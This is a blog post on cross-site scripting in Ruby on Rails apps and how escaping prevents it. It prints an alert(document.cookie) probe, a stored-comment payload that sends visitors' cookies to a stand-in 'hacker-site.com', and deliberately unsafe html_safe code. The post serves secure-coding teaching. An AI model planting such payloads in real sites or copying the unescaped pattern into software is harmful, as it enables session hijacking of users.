May 10, 2012
XSS is consistently a top web application security risk as per The Open Web Application Security Project (OWASP) .
XSS vulnerability allows hacker to execute JavaScript code that hacker has put in.
Most web applications has a form. User enters
<script>alert(document.cookie)</script>
in address field and hits submit. If
user sees a JavaScript alert then it means user can execute the JavaScript code
that user has put in. It means site has XSS vulnerability.
Almost all modern web applications have some JavaScript code. And the application executes JavaScript code. So running JavaScript code is not an issue. The issue is that in this case hacker is able to put in JavaScript code and then hacker is able to run that code. No one should be allowed to put their JavaScript code into the application.
If a hacker can execute JavaScript code then the hacker can see some other persons' cookie. Later we will see how hacker can do that.
If you are logged into an application then that application sets a cookie. That is how the application knows that you are logged in.
If a hacker can see someone else's cookie then the hacker can log in as that person by stealing cookie.
Having SSL does not protect site from XSS vulnerability.
XSS stands for Cross-site scripting. It is a very misleading name because XSS has absolutely nothing to do with cross-site. It has everything to do with a site, any site.
It is very common to display address in a formatted way. Usually the code is something like this.
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.join('<br />')
When developer looks at the html page developer will see something like this.
<br />
tag is literally shown on the screen. Developer looks at the html
markup rendered by Rails and it looks like this
So the developer comes back to code and marks the string html_safe
as shown
below.
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.join('<br />').html_safe
Now the browser renders the address with proper <br />
tag and the address
looks nicely formatted as shown below.
The developer is happy and the developer moves on.
However notice that developer has marked user input data like address1
as
html_safe
and that's dangerous.
The application has a number of users and everything is running smoothly. All
the users are seeing properly formatted address. And then one day a hacker tried
to hack the site. The hacker puts in address1 as
<script>alert(document.cookie)</script>
.
Now the hacker will see a JavaScript alert which might look like this.
If we look at the html markup then the html might look like this.
John Smith<br /><script>alert(document.cookie)</script><br />Suite #110
<br />Miami<br />FL<br />33027<br />USA
Hacker had put in <script>
and the application sent that code to browser.
Browser did its job. It executed the JavaScript code and in the process hacker
is able to see the cookie.
Let's say that an application has a comment form. In the comment form hacker puts in comment as following.
<script> window.location='http://hacker-site.com?cookie='+document.cookie </script>
Next day another user,Mary, comes to the site and logs in. She is reading the same post and that post has a lot of comments and one of the comments is comment posted by the hacker.
The application loads all the comments including the comment posted by the hacker.
When browser sees JavaScript code then browser executes it. And now Mary's cookie information has been sent to hacker-site and Mary is not even aware of it.
This is a classic case of XSS attack and this is how hacker can next time login as Mary just by using her cookie information.
Now that we know how hacker might be able to execute JavaScript code on our application question is how do we prevent it.
Well there is only way to prevent it. And that is do not send <script>
tag
to the browser. If we send <script>
tag to the browser then browser will
execute that JavaScript.
So what can we do so that <script>
tag is not sent to the browser.
Before we start looking at solutions lets revisit what happened when earlier we
did not mark content as html_safe
. So let's remove html_safe
and lets try to
see the content posted by the hacker.
So the code without html_safe
would look like this.
array = [name, address1, address2, city_name state_name, zip, country_name]
array.compact.join('<br />')
And if we execute this code then hackers address would look like this.
John Smith<br /><script>alert(document.cookie)</script><br />Suite #110<br />Miami<br />FL<br />33027<br />USA
Notice that in this case no JavaScript alert was seen. Hacker gets to see the address hacker had posted. Why is that. To answer that let's look at the html markup.
John Smith<br /><script>alert(document.cookie)</script><
br />Suite #110<br />Miami<br />FL<br />33027<br />USA
As we can see Rails did not render the address exactly as it was posted by the
hacker. Rails did something because of which <script>
turned into
<script>
.
Rails html escaped the content by using method html_escape.
By default Rails assumes that all content is not safe and thus Rails subjects
all content to html_escape
method.
Problem is that here we are trying to format the content using <br />
and
Rails is escaping that also. We need to escape only the user content and not
escape <br />
. Here is how we can do that.
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.map{ |i| ERB::Util.html_escape(i) }.join('<br />').html_safe
In the above case we are marking the content as html_safe
because we subjected
the content through html_escape
and now we are sure that no unescaped user
content can go through.
This will show address in the browser like this.
Above solution worked. <br />
is not escaped and user input was properly
escaped.
In the above case we used html_escape
and it worked. However if we need to add
say <strong>
tag then adding the opening tag and then closing tag could be
quite cumbersome. For such cases we can use
content_tag
By default content_tag
escapes the input text.
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.map{ |i| ActionController::Base.helpers.content_tag(:strong, i) }.join('').html_safe
If you want to format the text a little bit then you can use
simple_format
. If user enters a bunch of text in text area then simple_format can help make
the text look pretty without compromising security. It will strip away
<script>
and security sensitive tags. html_escape
internally uses
sanitize
method. Note that simple_format
will remove script
tag while solutions like
html_escape
will preserve script
tag in escaped format.
We use jbuilder and view looks like this.
json.user do
json.name @user.name
json.address1 @user.address1
json.address2 @user.address2
json.city_name @user.city_name
json.state_name @user.state_name
json.zip @user.zip
json.country_name @user.country_name
end
This will produce JSON structure as shown below.
On the client side there is JavaScript code to display the content.
$('body').append(data.about)
does the job. Well when that content is added to
DOM then browser will execute JavaScript code and now we are back to the same
problem.
There are two ways we can handle this problem. We can send the data as it is in
JSON format. Then it is a responsibility of client side JavaScript code to
append data in such a way that html tags like script
are not executed.
jQuery provides text(input) method which escapes input value. Here is an example.
In this case the entire responsibility of escaping the content rests on JavaScript. While using the data JavaScript code constantly needs to be aware of which content is user input and must be escaped and which content is not user input.
That is why we favor the solution where JSON content is escaped to begin with.
For escaping the content we can use h
or html_escape
helper method.
json.user do
json.name h(@user.name)
json.address1 h(@user.address1)
json.address2 h(@user.address2)
json.city_name h(@user.city_name)
json.state_name h(@user.state_name)
json.zip h(@user.zip)
json.country_name h(@user.country_name)
end
As you can see the user content is escaped. Now this data can be sent to client
side and we do not need to worry about script
tag being executed.
If this blog was helpful, check out our full blog archive.